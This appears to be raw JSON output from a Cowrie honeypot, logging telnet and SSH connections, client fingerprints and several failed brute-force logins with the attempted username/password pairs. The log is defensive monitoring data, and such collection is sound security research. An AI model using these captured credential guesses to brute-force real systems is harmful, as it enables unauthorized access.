{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42638,"dst_ip":"10.17.0.5","dst_port":23,"session":"28124e612331","protocol":"telnet","message":"New connection: 192.119.13.58:42638 (10.17.0.5:23) [session: 28124e612331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:48.659053Z"}
{"eventid":"cowrie.session.closed","duration":12.598199129104614,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:49.023462Z","src_ip":"5.29.100.133","session":"e6e493916a16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.81998062133789,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:53.579046Z","src_ip":"192.119.13.58","session":"d34d0a90f5ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.127907037734985,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:55.691879Z","src_ip":"192.119.13.58","session":"de981d0634d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.904409646987915,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:11:57.627894Z","src_ip":"192.119.13.58","session":"28b4c85456df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":39032,"dst_ip":"159.203.135.109","dst_port":22,"session":"3972367f7ca3","protocol":"ssh","message":"New connection: 158.178.141.16:39032 (159.203.135.109:22) [session: 3972367f7ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:03.324832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:03.330579Z","src_ip":"158.178.141.16","session":"3972367f7ca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:03.543632Z","src_ip":"158.178.141.16","session":"3972367f7ca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"test","message":"login attempt [john/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:04.423094Z","src_ip":"158.178.141.16","session":"3972367f7ca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":54088,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cd1e3ca0aaa","protocol":"ssh","message":"New connection: 185.92.182.129:54088 (10.17.0.5:22) [session: 8cd1e3ca0aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:04.817646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:04.831687Z","src_ip":"185.92.182.129","session":"8cd1e3ca0aaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:04.865544Z","src_ip":"185.92.182.129","session":"8cd1e3ca0aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminadmin","message":"login attempt [root/adminadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:05.624289Z","src_ip":"185.92.182.129","session":"8cd1e3ca0aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:05.639364Z","src_ip":"158.178.141.16","session":"3972367f7ca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:06.659841Z","src_ip":"185.92.182.129","session":"8cd1e3ca0aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.40958786010742,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:14.960067Z","src_ip":"192.119.13.58","session":"2aaf01465e47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34924,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd8f2995216","protocol":"telnet","message":"New connection: 192.119.13.58:34924 (10.17.0.5:23) [session: 1bd8f2995216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:16.273808Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38878,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf4673476354","protocol":"telnet","message":"New connection: 192.119.13.58:38878 (10.17.0.5:23) [session: bf4673476354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:17.265377Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":42320,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0dfc968ab41","protocol":"ssh","message":"New connection: 102.223.92.101:42320 (159.203.135.109:22) [session: c0dfc968ab41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:22.359444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:22.364605Z","src_ip":"102.223.92.101","session":"c0dfc968ab41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58684,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d11568fa8cf","protocol":"telnet","message":"New connection: 192.119.13.58:58684 (10.17.0.5:23) [session: 3d11568fa8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:22.424767Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:22.540766Z","src_ip":"102.223.92.101","session":"c0dfc968ab41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"System@123","message":"login attempt [root/System@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:23.281295Z","src_ip":"102.223.92.101","session":"c0dfc968ab41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:24.457289Z","src_ip":"102.223.92.101","session":"c0dfc968ab41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":57250,"dst_ip":"159.203.135.109","dst_port":22,"session":"4935194eab3e","protocol":"ssh","message":"New connection: 49.51.202.114:57250 (159.203.135.109:22) [session: 4935194eab3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:25.837022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:25.842592Z","src_ip":"49.51.202.114","session":"4935194eab3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:25.910861Z","src_ip":"49.51.202.114","session":"4935194eab3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser123","message":"login attempt [webuser/webuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:26.215261Z","src_ip":"49.51.202.114","session":"4935194eab3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48166,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba3ee68ee66f","protocol":"telnet","message":"New connection: 192.119.13.58:48166 (10.17.0.5:23) [session: ba3ee68ee66f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:27.042058Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:27.287085Z","src_ip":"49.51.202.114","session":"4935194eab3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.86651420593262,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:27.525422Z","src_ip":"192.119.13.58","session":"28124e612331","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":37367,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e536273cc27","protocol":"telnet","message":"New connection: 186.195.16.41:37367 (159.203.135.109:23) [session: 7e536273cc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:41.411111Z"}
{"eventid":"cowrie.session.closed","duration":34.85235404968262,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:51.126028Z","src_ip":"192.119.13.58","session":"1bd8f2995216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35478,"dst_ip":"10.17.0.5","dst_port":23,"session":"b97e528aed9f","protocol":"telnet","message":"New connection: 192.119.13.58:35478 (10.17.0.5:23) [session: b97e528aed9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:52.423435Z"}
{"eventid":"cowrie.session.closed","duration":38.74323534965515,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:56.008481Z","src_ip":"192.119.13.58","session":"bf4673476354","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.121389627456665,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:12:59.546071Z","src_ip":"192.119.13.58","session":"3d11568fa8cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07219362258911,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:00.114143Z","src_ip":"192.119.13.58","session":"ba3ee68ee66f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45654,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ab56563bae","protocol":"telnet","message":"New connection: 192.119.13.58:45654 (10.17.0.5:23) [session: b0ab56563bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:01.998013Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43820,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d4434ddee95","protocol":"telnet","message":"New connection: 192.119.13.58:43820 (10.17.0.5:23) [session: 6d4434ddee95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:08.594100Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":43552,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b0142f26481","protocol":"ssh","message":"New connection: 103.77.175.15:43552 (159.203.135.109:22) [session: 9b0142f26481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:14.304114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:14.311542Z","src_ip":"103.77.175.15","session":"9b0142f26481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:14.568268Z","src_ip":"103.77.175.15","session":"9b0142f26481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41494,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7ce90560011","protocol":"telnet","message":"New connection: 192.119.13.58:41494 (10.17.0.5:23) [session: a7ce90560011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:15.092210Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123qaz","message":"login attempt [root/qaz123qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:15.333306Z","src_ip":"103.77.175.15","session":"9b0142f26481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:16.589612Z","src_ip":"103.77.175.15","session":"9b0142f26481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48874,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bcb60b5a0e7","protocol":"telnet","message":"New connection: 192.119.13.58:48874 (10.17.0.5:23) [session: 9bcb60b5a0e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:16.923612Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":46050,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee96f0241971","protocol":"ssh","message":"New connection: 103.82.132.16:46050 (159.203.135.109:22) [session: ee96f0241971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:21.867337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:21.872006Z","src_ip":"103.82.132.16","session":"ee96f0241971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:22.132364Z","src_ip":"103.82.132.16","session":"ee96f0241971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789s","message":"login attempt [root/123456789s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:22.919219Z","src_ip":"103.82.132.16","session":"ee96f0241971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:24.183268Z","src_ip":"103.82.132.16","session":"ee96f0241971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.92.182.129","src_port":36718,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ccfb25c7788","protocol":"ssh","message":"New connection: 185.92.182.129:36718 (10.17.0.5:22) [session: 8ccfb25c7788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:27.535961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:13:27.541131Z","src_ip":"185.92.182.129","session":"8ccfb25c7788","protocol":"ssh"}
